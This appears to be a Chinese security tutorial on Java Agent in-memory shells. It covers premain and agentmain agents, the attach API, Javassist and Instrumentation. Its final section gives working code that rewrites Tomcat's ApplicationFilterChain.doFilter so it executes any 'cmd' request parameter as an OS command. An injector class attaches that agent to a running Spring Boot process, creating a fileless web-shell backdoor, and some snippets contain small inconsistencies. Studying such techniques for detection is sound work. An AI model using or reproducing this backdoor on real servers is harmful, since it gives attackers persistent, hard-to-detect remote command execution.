Java内存马 Java Agent内存马

什么是Java Agent?

Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能杂不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的数据。
实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎实现的呢?
对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图。
Premain-Agent
agentmain-Agent

几种Java Agent实例

premain-Agent

从官方文档中可知,首先必须实现premain方法,同时jar文件的清单(mainfest)中必须要含有Premain-Class属性
在命令行利用-javaagent来实现启动时加载。
premain方法顾名思义,会在我们运行main方法之前进行调用,即在运行main方法之前会先去调用我们jar包中Premain-Class类中的premain方法
我们首先来实现一个简单的premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent,创建的类需要实现premain方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package com.java.premain;    
    
import java.lang.instrument.Instrumentation;    
    
public class agent {    
    public static void premain(String args, Instrumentation inst) {    
        for(int i = 0;i<10;i++){    
            System.out.println("调用了premain-Agent!");    
        }    
    }    
}  

接着在resource/META-INF下创建agent.MF清单文件用以指定premain-Agent的启动类

1
2
Manifest-Version: 1.0    
Premain-Class: com.agent.Java_Agent_premain  

接着用jar命令打包,此时并指定启动项。运行完命令之后将会生成agent.jar文件

1
jar cvfm agent.jar META-INF/maven/MANIFEST.MF com/agent/Java_Agent_premain.class  

接着创建一个目标类

1
2
3
4
5
public class Hello {    
    public static void main(String[] args) {    
        System.out.println("Hello World!");    
    }    
}  

同样创建对应的mf启动项,取名为hello.mf

1
2
Manifest-Version: 1.0    
Main-Class: Hello  

同样的打包方式
jar cvfm Hello.jar META-INF/maven/MANIFEST.MF Hello.class
接下载只需要在jar -jar中添加-javaagent:agent.jar即可在启动时优先加载agent,而且可利用如下方式获取传入我们的agentArgs参数

1
java -javaagent:agent.jar=Hello -jar Hello.jar  

agentmain-Agent

相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动后之后加载并实现相应的修改字节码功能,下面了解一下和JVM有关的两个类

VitualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上  
VirtualMachine.attach()  
   
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理  
VirtualMachine.loadAgent()  
   
//获得当前所有的JVM列表  
VirtualMachine.list()  
   
//解除与特定JVM的连接  
VirtualMachine.detach()  

ViryualMachineDescriptor类

com.sun.tools.attach.VirtualMachineDescriptot类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    
import com.sun.tools.attach.VirtualMachine;    
import com.sun.tools.attach.VirtualMachineDescriptor;    
import java.util.List;    
public class get_PID {    
    public static void main(String[] args) {    
        //调用VirtualMachine.list()获取正在运行的JVM列表    
        List<VirtualMachineDescriptor> list= VirtualMachine.list();    
        for(VirtualMachineDescriptor vmd:list){    
            //遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID    
            if(vmd.displayName().equals("get_PID")){    
                System.out.println(vmd.id());    
            }    
        }    
    }    
}  

实现一个agentmain-Agent,首先编写一个Sleep_Hello类,模拟正在运行的JVM

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import static java.lang.Thread.sleep;    
    
public class Sleep_Hello {    
    public static void main(String[] args) throws InterruptedException {    
        while(true){    
            System.out.println("Hello World");    
            sleep(5000);    
        }    
    }    
}  

然后编写我们的agentmain-Agent

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import java.lang.instrument.Instrumentation;    
    
import static java.lang.Thread.sleep;    
    
public class Java_Agent_agentmain {    
    public static void agentmain(String agentArgs, Instrumentation inst) throws InterruptedException {    
        while(true){    
            System.out.println("调用了agentmain-Agent");    
            sleep(3000);    
        }    
    }    
}  

同时配置agentmain.mf文件

1
2
Mainfest-Version: 1.0  
Agent-Class: Java_Agent_agentmain  

接着,编译打包成jar文件
在pom.xml中添加如下内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<build>    
  <plugins>    
    <plugin>    
      <groupId>org.apache.maven.plugins</groupId>    
      <artifactId>maven-assembly-plugin</artifactId>    
      <version>2.6</version>    
      <configuration>    
        <descriptorRefs>    
          <descriptorRef>jar-with-dependencies</descriptorRef>    
        </descriptorRefs>    
        <archive>    
          <manifestFile>    
            src/main/resources/META-INF/MANIFEST.MF    
          </manifestFile>    
        </archive>    
      </configuration>    
    </plugin>    
    <plugin>    
      <groupId>org.apache.maven.plugins</groupId>    
      <artifactId>maven-compiler-plugin</artifactId>    
      <configuration>    
        <source>6</source>    
        <target>6</target>    
      </configuration>    
    </plugin>    
  </plugins>    
</build>  

mvn:assembly命令打包成jar即可
获取两个jar包,我们需要的是第二个,随后我们设置VM-OPTIONS(最大的坑),这个vm-options在新版UI里面默认是隐藏的,需要打开
最后准备一个Inject类,将我们的agent-main注入目标JVM:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.tools.attach.VirtualMachine;    
import com.sun.tools.attach.VirtualMachineDescriptor;    
    
import java.util.List;    
    
public class Inject_Agent {    
    public static void main(String[] args) throws Exception {    
        //调用VirtualMachine.list()获取正在运行的JVM列表    
        List<VirtualMachineDescriptor> list = VirtualMachine.list();    
        for (VirtualMachineDescriptor vmd : list) {    
            if(vmd.displayName().equals("Sleep_Hello")){    
                //连接指定JVM    
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());    
                //加载Agent    
                virtualMachine.loadAgent("/Users/f10wers13eicheng/Desktop/JavaSecuritytalk/HelloDemo/target/HelloDemo-1.0-SNAPSHOT-jar-with-dependencies.jar");    
                //断开JVM连接    
                virtualMachine.detach();    
            }    
        }    
    }    
}  

动态修改字节码Instrumentation

Javassist

什么是Javassist

Java字节码以二进制的形式存储在.class文件中,每一个.class文件包含一个Java类或接口。Javassist就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的办法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。

CLassPool

ClassPoolCtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放CtClass对象的容器。
获得方法ClassPool cp = ClassPool.getDefault();。通过ClassPool.getDefault()获取的ClassPool获取JVM的类搜索路径。如果程序运行在JBoss或者Tomcat等Web服务器上,ClassPool可能无法找到用户的类,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool必须添加额外的类搜索路径。
cp.insertClassPath(new ClassClassPath(<Class>));

CtdClass

可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以ClassPool.get(ClassName)中获取。

CTMethod

同理,可以理解成加强版的Method对象。可通过CtClass.getDeclaredMethod(MethodName)获取,该类提供了一些方法以便我们能够直接修改方法体。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public final class CtMethod extends CtBehavior {  
    // 主要的内容都在父类 CtBehavior 中  
}  
   
// 父类 CtBehavior  
public abstract class CtBehavior extends CtMember {  
    // 设置方法体  
    public void setBody(String src);  
   
    // 插入在方法体最前面  
    public void insertBefore(String src);  
   
    // 插入在方法体最后面  
    public void insertAfter(String src);  
   
    // 在方法体的某一行插入内容  
    public int insertAt(int lineNum, String src);  
   
}  

传递给方法insertBefore()insertAfter()insertAt()的String对象是由javassist的编译器编译的。由于编译器支持语言扩展,以$开头的几个标识符有特殊的含义:

使用示例

pom.xml

1
2
3
4
5
<dependency>    
  <groupId>org.javassist</groupId>    
  <artifactId>javassist</artifactId>    
  <version>3.27.0-GA</version>    
</dependency>  

创建测试类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import javassist.*;    
    
public class Javassist_Test {    
    public static void Create_Person() throws Exception{    
        //获取CtClass对象的容器ClassPool    
        ClassPool classPool = ClassPool.getDefault();    
        //创建一个新类Javassist.Learning.Person    
        CtClass ctClass = classPool.makeClass("javassist.Person");    
        //创建一个类属性    
        CtField ctField1 = new CtField(classPool.get("java.lang.String"),"name",ctClass);    
        //设置属性访问符    
        ctField1.setModifiers(Modifier.PRIVATE);    
        //将name属性添加到Person中    
        ctClass.addField(ctField1,CtField.Initializer.constant("huahua"));    
        //向Person类中添加setter和getter    
        ctClass.addMethod(CtNewMethod.setter("setName",ctField1));    
        ctClass.addMethod(CtNewMethod.getter("getName",ctField1));    
        //创建一个无参构造    
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},ctClass);    
        //设置方法体    
        ctConstructor.setBody("{name=\"huahua\";}");    
        //向Person类中添加无参构造    
        ctClass.addConstructor(ctConstructor);    
    
        //创建一个类方法printName    
        CtMethod ctMethod = new CtMethod(CtClass.voidType,"printName",new CtClass[]{},ctClass);    
        //设置方法访问符    
        ctMethod.setModifiers(Modifier.PRIVATE);    
        //设置方法体    
        ctMethod.setBody("{System.out.println(name);}");    
        //将该方法添加进Person中    
        ctClass.addMethod(ctMethod);    
    
        //将生成的字节码写入文件    
        ctClass.writeFile("./javassist");    
    }    
    public static void main(String[] args) throws Exception{    
        Create_Person();    
    }    
}  

生成的Person.class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//    
// Source code recreated from a .class file by IntelliJ IDEA    
// (powered by FernFlower decompiler)    
//    
    
package javassist;    
    
public class Person {    
    private String name = "huahua";    
    
    public void setName(String var1) {    
        this.name = var1;    
    }    
    
    public String getName() {    
        return this.name;    
    }    
    
    public Person() {    
        this.name = "huahua";    
    }    
    
    private void printName() {    
        System.out.println(this.name);    
    }    
}  

由此延展的攻击面其实是,我们可以利用Javassist生成一个恶意的.class类。

Instrumentation

Instrmentation是JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。
其在Java中是一个接口,常用方法如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public interface Instrumentation {  
      
    //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。  
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);  
   
    //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。  
    void addTransformer(ClassFileTransformer transformer);  
   
    //删除一个类转换器  
    boolean removeTransformer(ClassFileTransformer transformer);  
   
   
    //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。  
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;  
   
   
   
    //判断一个类是否被修改  
    boolean isModifiableClass(Class<?> theClass);  
   
    // 获取目标已经加载的类。  
    @SuppressWarnings("rawtypes")  
    Class[] getAllLoadedClasses();  
   
    //获取一个对象的大小  
    long getObjectSize(Object objectToSize);  
   
}  
ClassFiletransformer

转换类文件,该接口下只有一个方法transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在Java Agent内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,于addTransformer搭配使用

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。    
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);  
获取目标JVM已加载类

下面简单实现一个能够获取目标JVM已加载类的agetmain-Agent

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    
import static java.lang.Thread.sleep;    
    
public class Sleep_Hello {    
    public static void main(String[] args) throws InterruptedException {    
        while(true) {    
            hello();    
            sleep(3000);    
        }    
    }    
    public static void hello(){    
        System.out.println("Hello World!");    
    }    
}  

Agent主类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package com.agent;    
    
import java.lang.instrument.Instrumentation;    
import java.lang.instrument.UnmodifiableClassException;    
    
public class agentmain_transform {    
    public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {    
        Class[] classes = inst.getAllLoadedClasses();    
        //获取目标JVM加载的全部类    
        for(Class cls: classes){    
            if(cls.getName().equals("Sleep_Hello")){    
                //添加一个transformer到Instrumentation,并重新触发目标类加载    
                inst.addTransformer(new Hello_Transform(),true);    
                inst.retransformClasses(cls);    
            }    
        }    
    }    
}  

Transformer修改类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javassist.ClassClassPath;    
import javassist.ClassPool;    
import javassist.CtClass;    
import javassist.CtMethod;    
    
import java.lang.instrument.ClassFileTransformer;    
import java.lang.instrument.IllegalClassFormatException;    
import java.security.ProtectionDomain;    
    
public class Hello_Transform implements ClassFileTransformer {    
    @Override    
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {    
        try{    
            //获取CtClass对象的容器ClassPool    
            ClassPool classPool = ClassPool.getDefault();    
            //添加额外的类所搜路径    
            if(classBeingRedefined == null){    
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);    
                classPool.insertClassPath(ccp);    
            }    
            //获取目标类    
            CtClass ctClass = classPool.get("Sleep_Hello");    
            System.out.println(ctClass);    
            //获取目标方法    
            CtMethod ctMethod = ctClass.getDeclaredMethod("hello");    
            //设置方法体    
            String body = "{System.out.println(\"Hacker\");}";    
            ctMethod.setBody(body);    
    
            //返回目标类字节码    
            byte[] bytes = ctClass.toBytecode();    
            return bytes;    
        }catch (Exception e){    
            e.printStackTrace();    
        }    
        return null;    
    }    
}  

MANIFEST.MF需要修改如下

1
2
3
4
5
Manifest-Version: 1.0    
Agent-Class: com.agent.agentmain_transform    
Can-Redefine-Classes: true    
Can-Retransform-Classes: true  
  

注入类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.tools.attach.VirtualMachine;    
import com.sun.tools.attach.VirtualMachineDescriptor;    
    
import java.util.List;    
    
public class Inject_Agent {    
    public static void main(String[] args) throws Exception {    
        //调用VirtualMachine.list()获取正在运行的JVM列表    
        List<VirtualMachineDescriptor> list = VirtualMachine.list();    
        for (VirtualMachineDescriptor vmd : list) {    
            if(vmd.displayName().equals("Sleep_Hello")){    
                //连接指定JVM    
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());    
                //加载Agent    
                virtualMachine.loadAgent("/Users/f10wers13eicheng/Desktop/JavaSecuritytalk/HelloDemo/target/HelloDemo-1.0-SNAPSHOT-jar-with-dependencies.jar");    
                //断开JVM连接    
                virtualMachine.detach();    
            }    
        }    
    }    
}  

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性
premain和agentmain两种方式修改字节码的实际都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定一个本来不存在类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有如下限制

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是 private static/final 修饰的
  5. 可以修改方法体

Agent内存马实战

这里准备一个Springboot服务,由于Tomcta的责任链机制,可以看到会按照责链机制反复调用ApplicationFilterChain#doFilter()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public void doFilter(ServletRequest request, ServletResponse response)  
        throws IOException, ServletException {  
   
        if( Globals.IS_SECURITY_ENABLED ) {  
            final ServletRequest req = request;  
            final ServletResponse res = response;  
            try {  
                java.security.AccessController.doPrivileged(  
                        (java.security.PrivilegedExceptionAction<Void>) () -> {  
                            internalDoFilter(req,res);  
                            return null;  
                        }  
                );  
            } ...  
            }  
        } else {  
            internalDoFilter(request,response);  
        }  
    }  

跟到internalDoFilter()方法中

1
2
3
4
5
6
7
8
9
private void internalDoFilter(ServletRequest request,  
                                  ServletResponse response)  
        throws IOException, ServletException {  
   
        // Call the next filter if there is one  
        if (pos < n) {  
            ...  
        }  
}  

利用Java Agent实现Spring Filter内存马

复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此重写该方法即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import javassist.ClassClassPath;    
import javassist.ClassPool;    
import javassist.CtClass;    
import javassist.CtMethod;    
    
import java.lang.instrument.ClassFileTransformer;    
import java.lang.instrument.IllegalClassFormatException;    
import java.security.ProtectionDomain;    
    
public class Filter_Transform implements ClassFileTransformer {    
    @Override    
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {    
        try {    
    
            //获取CtClass 对象的容器 ClassPool            ClassPool classPool = ClassPool.getDefault();    
            //添加额外的类搜索路径    
            if (classBeingRedefined != null) {    
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);    
                classPool.insertClassPath(ccp);    
            }    
    
            //获取目标类    
            CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");    
    
            //获取目标方法    
            CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");    
    
            //设置方法体    
			String body = "{" +    
			        "javax.servlet.http.HttpServletRequest request = $1\n;" +    
			        "String cmd=request.getParameter(\"cmd\");\n" +    
			        "if (cmd !=null){\n" +    
			        "  Runtime.getRuntime().exec(cmd);\n" +    
			        "System.out.println(\"Hello World\");\n"+    
			        "  }"+    
			        "}";  
            ctMethod.setBody(body);    
    
            //返回目标类字节码    
            byte[] bytes = ctClass.toBytecode();    
            return bytes;    
    
        }catch (Exception e){    
            e.printStackTrace();    
        }    
        return null;    
    }    
}  

agent主类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import java.lang.instrument.Instrumentation;    
import java.lang.instrument.UnmodifiableClassException;    
    
public class agentmain_transform {    
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException, UnmodifiableClassException {    
        Class [] classes = inst.getAllLoadedClasses();    
    
        //获取目标JVM加载的全部类    
        for(Class cls : classes){    
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){    
    
                //添加一个transformer到Instrumentation,并重新触发目标类加载    
                inst.addTransformer(new Filter_Transform(),true);    
                inst.retransformClasses(cls);    
            }    
        }    
    }    
}  

MANIFEST.MF

1
2
3
4
5
Manifest-Version: 1.0    
Agent-Class: agentmain_transform  
Can-Redefine-Classes: true    
Can-Retransform-Classes: true  
  

Inject类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.tools.attach.VirtualMachine;    
import com.sun.tools.attach.VirtualMachineDescriptor;    
    
import java.util.List;    
    
public class Inject_Agent {    
    public static void main(String[] args) throws Exception {    
        //调用VirtualMachine.list()获取正在运行的JVM列表      
List<VirtualMachineDescriptor> list = VirtualMachine.list();    
        for (VirtualMachineDescriptor vmd : list) {    
            if(vmd.displayName().equals("com.example.demo.DemoApplication")){    
                System.out.println("Yes");    
                //连接指定JVM      
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());    
                //加载Agent      
virtualMachine.loadAgent("/Users/f10wers13eicheng/Desktop/JavaSecuritytalk/HelloDemo/target/HelloDemo-1.0-SNAPSHOT-jar-with-dependencies.jar");    
                //断开JVM连接      
virtualMachine.detach();    
            }    
        }    
    }    
}  

0%